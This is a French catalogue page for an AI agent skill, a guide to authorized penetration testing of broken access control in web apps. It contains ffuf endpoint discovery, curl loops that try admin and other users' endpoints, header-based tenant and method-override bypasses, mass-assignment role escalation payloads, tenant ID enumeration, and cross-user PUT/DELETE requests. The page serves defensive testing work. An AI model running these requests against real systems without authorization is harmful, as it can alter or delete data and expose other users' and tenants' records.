Synthèse automatique
Un guide structuré de test d'intrusion pour détecter les contrôles d'accès défaillants dans les applications web, avec cartographie des points de terminaison, matrices de rôles et vérification des élévations de privilèges.
Points forts
- Insiste sur la construction préalable d'une matrice points de terminaison/rôles avant les tests.
- Fournit des commandes concrètes pour la découverte avec ffuf et la configuration de l'extension Burp Authorize.
- Couvre les contextes multi-rôles et multi-tenant ainsi que les tests avec utilisateur non authentifié.
- S'aligne sur OWASP A01:2021 et les référentiels NIST CSF et MITRE ATT&CK.
Limites
- Le contenu fourni est incomplet : il s'arrête au début des tests d'élévation verticale de privilèges, sans couvrir entièrement l'IDOR, l'escalade horizontale ou le reporting.
- Suppose un accord d'intrusion écrit, Burp Suite Professional avec l'extension Authorize, plusieurs comptes de test et une matrice de rôles déjà définie.
- Reste centré sur la détection ; la validation des faux positifs et les recommandations de remédiation ne sont pas détaillées.
À utiliser pendant un test d'intrusion autorisé d'application web pour évaluer le RBAC, l'isolation multi-tenant ou les risques d'accès non autorisé du Top 10 OWASP.
À ne pas utiliser sans autorisation écrite ou sans comptes de test à différents niveaux de privilèges permettant de distinguer un accès légitime d'un accès non autorisé.
Analyse de sécurité
PrudenceThe content is a legitimate authorized penetration-testing workflow for broken access control. It uses powerful tools such as curl, ffuf, and Burp Suite and includes active testing, including state-changing requests, but it explicitly requires written authorization and does not contain destructive, exfiltrating, or obfuscated payloads.
- •The skill performs active network requests, endpoint discovery, and state-changing operations (PUT/DELETE) against a live target; misuse without explicit authorization could modify or delete data.
- •It requires multiple authenticated test accounts and credentials/tokens, so credential handling and scope controls are important even though no real secrets are included.
- •Actively instructs running network requests (curl, ffuf) against live targets, including state-changing PUT/DELETE/PATCH operations that could alter or destroy real data if pointed at a production system.
- •Includes attempts to bypass authorization via header manipulation (X-HTTP-Method-Override, X-Tenant-ID), JWT claim tampering, and mass-assignment role escalation, which are offensive techniques requiring explicit authorization.
- •Uses placeholder tokens/credentials rather than real secrets; no credential exfiltration, obfuscated payloads, or safety-disabling instructions observed.
- •Gates usage on a written penetration testing agreement in the Prerequisites section, which is appropriate scoping.
Exemples
Plan an access-control test for our multi-tenant SaaS app. We have admin, manager, user, and guest accounts; build an endpoint/role matrix and identify the first vertical privilege-escalation checks to run with Burp Authorize.Using these ffuf results and the Burp site map, find API endpoints that may be missing authorization checks. Compare responses for an unauthenticated request, a regular user, and an admin, and flag likely broken access control.We suspect a user can access another organization's records by changing the ID in /api/v1/invoices/{id}. Design a safe, authorized test plan for horizontal privilege escalation and IDOR, including the evidence to capture.name: testing-for-broken-access-control description: Systematically testing web applications for broken access control vulnerabilities including privilege escalation, missing function-level checks, and insecure direct object references. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- access-control
- authorization
- owasp
- privilege-escalation
- web-security version: '1.0' author: mahipal license: Apache-2.0 nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01 mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1068
Testing for Broken Access Control
When to Use
- During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control
- When evaluating role-based access control (RBAC) implementations across all application endpoints
- For testing multi-tenant applications where users in one organization should not access another's data
- When assessing API endpoints for missing or inconsistent authorization checks
- During security audits where privilege escalation and unauthorized access are primary concerns
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With Authorize extension for automated access control testing
- Multiple test accounts: Accounts at each role level (admin, manager, user, guest)
- Application role matrix: Documentation of what each role should and should not access
- curl/httpie: For manual endpoint testing with different authentication contexts
- ffuf: For discovering hidden endpoints that may lack access controls
Workflow
Step 1: Map All Endpoints and Create Access Control Matrix
Document every endpoint and the expected access level for each role.
# Extract all endpoints from Burp Site Map
# Target > Site Map > Right-click > Copy URLs in this host
# Build a matrix of endpoints vs roles:
# | Endpoint | Admin | Manager | User | Guest |
# |-----------------------|-------|---------|------|-------|
# | GET /admin/dashboard | Allow | Deny | Deny | Deny |
# | GET /api/users | Allow | Allow | Deny | Deny |
# | PUT /api/users/{id} | Allow | Deny | Own | Deny |
# | DELETE /api/posts/{id} | Allow | Allow | Own | Deny |
# Discover hidden endpoints
ffuf -u "https://target.example.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN" \
-o endpoints.json -of json
# API endpoint discovery
ffuf -u "https://target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403,405 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN"
Step 2: Configure Automated Access Control Testing
Set up Burp Authorize extension for parallel role-based testing.
# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
# a. Add Regular User's session token in "Replace cookies/headers"
# b. Optionally add a second row for Unauthenticated (no auth header)
# Example header replacement setup:
# Row 1 (Low-privilege user):
# Cookie: session=low_priv_user_session
# Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
# [Empty - removes all auth headers]
# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"
# Authorize shows results as:
# Green = Properly restricted (different response for different user)
# Red = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)
Step 3: Test Vertical Privilege Escalation
Attempt to access higher-privilege functionality with lower-privilege accounts.
# Collect tokens for each role
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"
# Test admin endpoints with user token
ADMIN_ENDPOINTS=(
"GET /admin/dashboard"
"GET /admin/users"
"POST /admin/users/create"
"PUT /admin/settings"
"DELETE /admin/users/5"
"GET /admin/logs"
"GET /admin/reports/export"
"POST /admin/backup"
)
for entry in "${ADMIN_ENDPOINTS[@]}"; do
method=$(echo "$entry" | cut -d' ' -f1)
endpoint=$(echo "$entry" | cut -d' ' -f2)
echo -n "$method $endpoint (as user): "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
"https://target.example.com$endpoint")
if [ "$status" == "200" ] || [ "$status" == "201" ]; then
echo "VULNERABLE ($status)"
else
echo "OK ($status)"
fi
done
# Test with method override headers
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "Authorization: $USER_TOKEN" \
-H "X-HTTP-Method-Override: DELETE" \
"https://target.example.com/admin/users/5"
# Test with different HTTP methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo -n "$method /admin/users: "
curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
"https://target.example.com/admin/users"
echo
done
Step 4: Test Horizontal Privilege Escalation
Verify that users cannot access resources belonging to other users at the same privilege level.
# User A (ID: 101) testing access to User B's (ID: 102) resources
USER_A_TOKEN="Bearer user_a_jwt"
RESOURCES=(
"/api/users/102/profile"
"/api/users/102/orders"
"/api/users/102/messages"
"/api/users/102/documents"
"/api/users/102/settings"
"/api/users/102/payment-methods"
)
for resource in "${RESOURCES[@]}"; do
echo -n "GET $resource: "
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com$resource")
status=$(echo "$response" | tail -1)
body_len=$(echo "$response" | head -n -1 | wc -c)
if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
echo "VULNERABLE ($status, $body_len bytes)"
else
echo "OK ($status)"
fi
done
# Test write operations across users
curl -s -X PUT \
-H "Authorization: $USER_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked","email":"hacked@evil.com"}' \
"https://target.example.com/api/users/102/profile" -w "%{http_code}"
# Test delete operations
curl -s -X DELETE \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com/api/users/102/documents/1" -w "%{http_code}"
Step 5: Test Function-Level Access Control
Verify that specific functions enforce authorization properly.
# Test unauthenticated access to protected endpoints
PROTECTED_ENDPOINTS=(
"/api/user/profile"
"/api/transactions"
"/api/settings"
"/admin/dashboard"
"/api/export/users"
)
for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
echo -n "No auth: GET $endpoint: "
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com$endpoint"
echo
done
# Test with expired/invalid tokens
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer invalid_token_here" \
"https://target.example.com/api/user/profile"
# Test role manipulation in JWT claims
# If JWT contains role claim, try modifying it
# (requires JWT vulnerability - see JWT testing skill)
# Test parameter-based role escalation
curl -s -X PUT \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
"https://target.example.com/api/users/101/profile"
# Test registration with elevated role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \
"https://target.example.com/api/auth/register"
Step 6: Test Multi-Tenant Isolation
Verify that tenant boundaries are enforced in multi-tenant applications.
# User in Tenant A testing access to Tenant B's resources
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"
# Direct tenant resource access
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/users" | jq .
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/settings" | jq .
# Test tenant switching via header
curl -s -H "Authorization: $TENANT_A_TOKEN" \
-H "X-Tenant-ID: tenant-b-id" \
"https://target.example.com/api/users" | jq .
# Test tenant ID in request body
curl -s -X POST \
-H "Authorization: $TENANT_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
"https://target.example.com/api/reports/custom"
# Enumerate tenant IDs
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
-w <(seq 1 100) \
-H "Authorization: $TENANT_A_TOKEN" \
-mc 200 -t 10 -rate 20
Key Concepts
| Concept | Description | |---------|-------------| | Vertical Privilege Escalation | Lower-privilege user accessing higher-privilege functionality (user -> admin) | | Horizontal Privilege Escalation | User accessing another user's resources at the same privilege level | | Function-Level Access Control | Authorization checks on specific features/functions regardless of URL | | RBAC | Role-Based Access Control - permissions assigned to roles, roles assigned to users | | ABAC | Attribute-Based Access Control - permissions based on user/resource/environment attributes | | Multi-Tenant Isolation | Ensuring data and functionality separation between different organizations/tenants | | Insecure Direct Object Reference | Accessing objects by manipulating identifiers without authorization checks | | Missing Function-Level Check | Endpoint exists but does not verify the caller has permission to invoke it |
Tools & Systems
| Tool | Purpose | |------|---------| | Burp Suite Professional | Request interception and role-based testing | | Authorize (Burp Extension) | Automated access control testing across sessions | | AutoRepeater (Burp Extension) | Automatically replays requests with different auth contexts | | Postman | API testing with environment switching between roles | | ffuf | Discovering hidden endpoints that may lack access controls | | OWASP ZAP | Access control testing with context-aware scanning |
Common Scenarios
Scenario 1: Admin Panel Without Auth Check
The /admin/dashboard endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.
Scenario 2: API Endpoint Missing Authorization
The DELETE /api/users/{id} endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.
Scenario 3: Tenant Data Leakage
A SaaS application uses tenant_id in API request headers. Changing the X-Tenant-ID header to another tenant's ID returns their data, bypassing tenant isolation.
Scenario 4: Mass Assignment Role Escalation
The user profile update endpoint at PUT /api/users/{id} accepts a role field in the JSON body. Submitting "role":"admin" alongside a profile update elevates the user to administrator.
Output Format
## Broken Access Control Assessment Report
**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control
### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |
### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint
### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification
### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisions
Du fichier au premier essai
Le téléchargement contient exactement le contenu affiché sur cette fiche. Cette copie peut différer de la dernière version du dépôt source.
Consulter la source et ses fichiers annexesCe téléchargement contient uniquement SKILL.md. Les scripts, références, modèles et dépendances éventuels ne sont pas inclus. Récupérez les fichiers nécessaires depuis la source en conservant leur arborescence avant de poursuivre.
1. Télécharger le fichier
Télécharger SKILL.mdDepuis la racine d’un projet de test, enregistrez le fichier sous .skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md, ou utilisez la commande suivante. Ce dossier sert à examiner la skill avant son installation.
Commande pour macOS/Linux ou WSL : un shell POSIX et curl sont nécessaires. Sous Windows sans WSL, utilisez le bouton de téléchargement et créez le dossier manuellement.
mkdir -p '.skill-downloads/testing-for-broken-access-control-mrx3xzvb' && curl --fail --show-error --location 'https://skills-guides.com/api/skills/testing-for-broken-access-control-mrx3xzvb/download' --output '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md.part' && mv '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md.part' '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md'2. Vérifier les prérequis
Lisez SKILL.md avant de l’utiliser. Si le fichier cite des scripts ou services externes, examinez-les et préparez les accès nécessaires dans votre environnement de test.
Extrait original : Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With Authorize extension for automated access control testing
- Multiple test accounts: Accounts at each role level (admin, manager, user, guest)
- Application role matrix: Documentation of what each role should and should not access
- curl/httpie: For manual endpoint testing with different authentication contexts
- ffuf: For discovering hidden endpoints that may lack access controls
Les plateformes de la fiche sont des indications du catalogue. Les chemins ci-dessous suivent la documentation des outils ; ils ne prouvent pas que cette skill y a été exécutée. Aucune version minimale de ces outils n’est attestée pour cette fiche.
3. Charger la skill
Après vérification, copiez le dossier complet dans le projet avec l’une des commandes ci-dessous, puis ouvrez une nouvelle session de l’outil. La commande s’arrête si un dossier du même nom existe déjà : comparez les fichiers avant de le remplacer.
Claude Code
test -f '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && test -s '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && mkdir -p '.claude/skills' && test ! -e '.claude/skills/testing-for-broken-access-control' && cp -R '.skill-downloads/testing-for-broken-access-control-mrx3xzvb' '.claude/skills/testing-for-broken-access-control'Cursor
test -f '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && test -s '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && mkdir -p '.cursor/skills' && test ! -e '.cursor/skills/testing-for-broken-access-control' && cp -R '.skill-downloads/testing-for-broken-access-control-mrx3xzvb' '.cursor/skills/testing-for-broken-access-control'Codex
test -f '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && test -s '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && mkdir -p '.agents/skills' && test ! -e '.agents/skills/testing-for-broken-access-control' && cp -R '.skill-downloads/testing-for-broken-access-control-mrx3xzvb' '.agents/skills/testing-for-broken-access-control'OpenSkills
OpenSkills doit déjà être installé. La procédure locale install/read est contrôlée avec OpenSkills 1.5.0, qui exige Node.js ≥ 20.6.0. Aucun slug du catalogue n’est résolu automatiquement.
Installation officielle d’OpenSkillsopenskills install './.skill-downloads/testing-for-broken-access-control-mrx3xzvb'openskills read 'testing-for-broken-access-control-mrx3xzvb'La lecture doit afficher le contenu du fichier installé et son dossier de base. Elle ne lance ni la skill ni ses dépendances.
Pour un agent qui lit AGENTS.md, synchronisez ensuite l’index. Cette commande modifie AGENTS.md : relisez le diff avant de l’utiliser.
openskills syncMode manuel ou autre outil : joignez SKILL.md à une conversation, ou ouvrez-le dans un agent capable de lire les fichiers. Ajoutez les ressources annexes nécessaires. Il n’existe pas de dossier universel reconnu par tous les outils.
4. Faire un premier essai
Utilisez une entrée courte et fictive : un endpoint d’API, un petit document ou un brief d’interface. Dans une nouvelle conversation, joignez le fichier ou donnez son chemin à l’agent, puis adaptez cette demande :
Lis .skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md et applique ses instructions à cet exemple : [décrire une entrée de test]. Indique les fichiers, dépendances ou accès qui manquent. Produis le résultat demandé par la skill sans inventer de données ni exécuter de script non examiné.Résultat attendu : une sortie correspondant aux instructions de la skill, ou une liste précise des prérequis manquants. Une simple confirmation de lecture ne valide pas le premier usage. Si une ressource externe est indisponible, ce parcours reste à tester.
Sécurité AMM DeFi
Securite
Checklist de sécurité pour les contrats Solidity AMM, pools de liquidité et flux de swap. Couvre réentrance, attaques par donation, manipulation d'oracles, etc.
Créateur de règles Semgrep
Securite
Crée des règles Semgrep personnalisées pour détecter des vulnérabilités de sécurité, des motifs de bugs et des motifs de code. Inclut une méthodologie de test en premier, le support du mode taint et des étapes de validation. Utile pour construire des détections d'analyse statique ciblées.
Revue barre d'outils développement
Securite
Règles de sécurité pour la barre d'outils de développement, le client PostHog et les feature flags. À utiliser lors de la revue de modifications des composants dev-tools et connexes.